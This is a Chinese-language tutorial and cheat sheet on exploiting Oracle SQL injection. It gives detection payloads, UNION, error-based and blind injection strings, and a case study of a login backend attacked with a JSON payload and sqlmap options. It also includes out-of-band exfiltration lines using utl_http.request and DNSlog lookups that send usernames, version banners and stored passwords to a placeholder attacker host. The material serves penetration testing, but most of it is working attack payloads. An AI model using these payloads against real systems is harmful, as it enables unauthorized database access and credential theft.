Oracle 数据库常用于一些大型公司,平常都配合Java的后端来使用,在企业以及各类主流单位都作为主要数据库,平时在测试中也经常遇到注入漏洞,所以就总结一下,注入过程,从注入判断到数据的获取,全过程记录,包含一个典型实际案例

0x01 寻找并判断注入点

注意:避免使用 and 1=1这样的测试语句

数字型:

数字型的注入,和其他类型数据库时都一样,自己构造加减乘除的条件来判断注入

Payload:

#通过 <> 来判断

?id=1'+and+1<>2--+ #返回为真 页面正常
?id=1'+and+1<>1--+ #返回为假 页面异常

#通过 加减法来判断

?id=1 #返回id,为1的内容
?id=2-1  #返回为1的内容

#通过数据库报错来判断

?id=1 #返回为正常
?id=1/0 #返回异常

# 通过注释符来判断(多行注释:/**/,单行注释:--)

?id=1 #返回为正常
?id=1/*loecho*/ #也返回正常

?id=1 #返回为正常
?id=1--loecho #也返回正常

字符型

字符型注入相对数字型来说,会存在闭合一些数据引用符号的问题,例如语句通过'闭合语句后,后续就要通过单行注释符来注释剩下的单引号,其他情况也是如此

Payload:

#通过<>来判断

?name=loecho'+and+1<>6--+ #返回正常
?name=loecho'+and+1<>1--+ #返回异常


#使用字符串拼接符’||’,通过判断拼接符是否执行,从而判断是否存在注入

?name=lo'||'echo #返回正常
?name=lo'||'haha #返回异常

0x02 利用并且查询数据

01. 联合查询

即利用union select将想要查询的数据显示在页面上,构造正常语句,成功执行SQL语句查询数据

  • 具体步骤如下:
# 01.先判断列数,同Mysql一样

?id=1'+order+by+4--+ #返回正常
?id=1'+order+by+5--+ #提示报错

得出结论数据为: 5 列

# 02.然后对每一列的数据类型进行判断(可以使用null代替某些无法快速猜测出数据类型的位置),先默认每一列均为null,然后从第一列开始依次将null改为字符串,如果报错则说明该列是数字型,否则则是字符型。,同Mysql一样

?id=1'+union+select+user+null+null+null+from+dual--+ #查询当前用户名
以此类推

# 03. 利用select table_name from user_tables where rownum=1获取表名(列名table数据同理):

select column_name from user_tab_columns where table_name='TB_USER' and rownum=1(获取列名)
select USER_ID from TB_USER where USER_ID=1 and rownum=1(获取数据)

03. 报错注入

构造报错语句,通过数据库报错来带出我们要查询的数据,常用的报错函数包括

  • XMLType()

# 中间为查询语句

upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62)))

  • dbms_xdb_version.checkin()

# 中间为查询语句

upper(dbms_xdb_version.checkin((select user from dual)))

  • ctxsys.drithsx.sn()

# 中间为查询内容

upper(dbms_xdb_version.checkin((select user from dual)))

  • ordsys.ord_dicom.getmappingxpath()

# 中间为查询内容

ordsys.ord_dicom.getmappingxpath(user,user,user)

  • dbms_utility.sqlid_to_sqlhash()

# 中间为查询内容

dbms_utility.sqlid_to_sqlhash((select user from dual))

02.OOB外带数据

通过HTTP请求,或者DNSlog,来构造语句,如果目标出网,并且对数据库函数没有进行限制,就会实现攻击

  • HTTP 请求外带数据
and utl_http.request('http://ip:port/'||(select banner from sys.v_$version where rownum=1))=1--  查询指纹版
 
and utl_http.request('http://ip:port/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 -- 查询环境


and%20 utl_http.request('http://ip:port/'%7c%7c (select user from dual))=1-- 查询当前用户


and%20%20utl_http.request(%27http://ip:port/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--查询具体内容

and utl_http.request('http://ip:port/'||(select TABLE_NAME from all_tables where rownum=1))=1-- 查询所有数据表名

select name from v$database;

select instance_name from v$instance;

1.查询所有数据库

由于Oralce没有库名,只有表空间,所以Oracle没有提供数据库名称查询支持,只提供了表空间名称查询。
select * from v$tablespace;--查询表空间(需要一定权限)

2.查询当前数据库中所有表名

select * from user_tables;

3.查询指定表中的所有字段名

select column_name from user_tab_columns where table_name = 'table_name';


4.查询指定表中的所有字段名和字段类型

select column_name, data_type from user_tab_columns where table_name = 'table_name';

  • DSNlog请求外带数据

- UTL_HTTP.REQUEST

select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.dnslog') FROM sys.DUAL;

- DBMS_LDAP.INIT

select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.dnslog',80) FROM sys.DUAL;


- HTTPURITYPE 

select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.dnslog').GETCLOB() FROM sys.DUAL;



- UTL_INADDR.GET_HOST_ADDRESS 

select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.dnslog') FROM sys.DUAL;

03. 基于布尔值的盲注

通过构造不同条件,返回返回页面的不同,就形成了Bool值的注入

  • 通过 substr() decode() 函数的盲注(常用)

# 按位截取数据,Bp俩个标记:第一个为截取位数,第二个为:所有字符:

and+1=(select+decode(substr((select user from dual),§1§,1),'§S§',(1),0) from dual)--+ #查 user

and+1=(select decode(substr((select banner from sys.v_$version wher rownum=1),1 ,1),'S',(1),0) from dual)--+ # 查version

and+1=(select decode(substr((select table_name from user_tables where rownum=1),§1§,1),'§S§',(1),0) from dual)--+ # 查表名
  • 通过 case、substr()、ascii() 函数的盲注
# 按位截取数据,Bp俩个标记:第一个为:截取位数 第二个为:所有可见字符的ASCII码(32~126):
  123=(case when ascii(substr(user,§0§,1))=§121§ then '123' else '456' end)--+
  • 通过 case、instr()、chr() 函数的盲注
# 按位截取数据,Bp俩个标记:第一个为:所有可见字符的ASCII码(32~126): 第二个,第三个为:值相同为截取位数
123=(case instr(user,chr(§*§),§*§,1) when §*§ then '123' else '456' end)--+

还有其他方式来利用,配合函数,不同环境不同用法

03 .基于时间的盲注

时间盲注,基于服务器返回所用的时间,判断函数是否执行,从而判断是否存在注入

  • Decode()、DBMS_PIPE.receive_message()、chr()、substr()利用

  # 按位截取数据,Bp俩个标记:第一个为:截取位数 第二个为:所有可见字符的ASCII码(32~126):
'||decode(substr(user,§*§,1),chr(§*§),DBMS_PIPE.receive_message('sen',1),2)||' #查user

0x03 实际案例分析

某次授权测试,某小程序后端在检查登录时,存在Oracle注入漏洞,注入类型为基于布尔类型的注入

  1. 过滤空格,Json包注入,抓包标记注入点
  2. 因为Sqlmap对于页面差异小布尔判断不准确,所以注入时加上以下任一参数,配合Tamper脚本即可注入成功:

--string=STRING 查询时有效时在页面匹配字符串
--not-string=NOT.. 当查询求值为无效时匹配的字符串

image-20200713213422628
  1. 或者通过国产的一个工具:超级SQL注入工具标记好数据包以及布尔变换和空格替换,都可以成功
image-20200713213724264

手工判断

条件为真时:

image-20200624150048076

条件为假时:

image-20200624150153336
  • 由此构造条件来查询数据,当前数据库版本,结果如下
Paylaod:
{"tel":"18848888888/**/and/**/1=(select/**/decode(substr((select/**/banner/**/from/**/sys.v_$version/**/where/**/rownum=1),1 ,1),'S',(1),0)/**/from/**/dual)"}
da

0x04 : 想法

  1. 实际测试中,网站直接交互存在注入的概率不是很大,着重测试一些微应用的后端交互,或者后端API
  2. 只要自己成功判断后端执行了我们拼接的SQL语句,就是存在问题,配合数据库特性1/0也是可以的
  3. 搜索处,表单的提交,各类刁钻的地方,只要猜测后端有交互的,都可以测试,会有惊喜!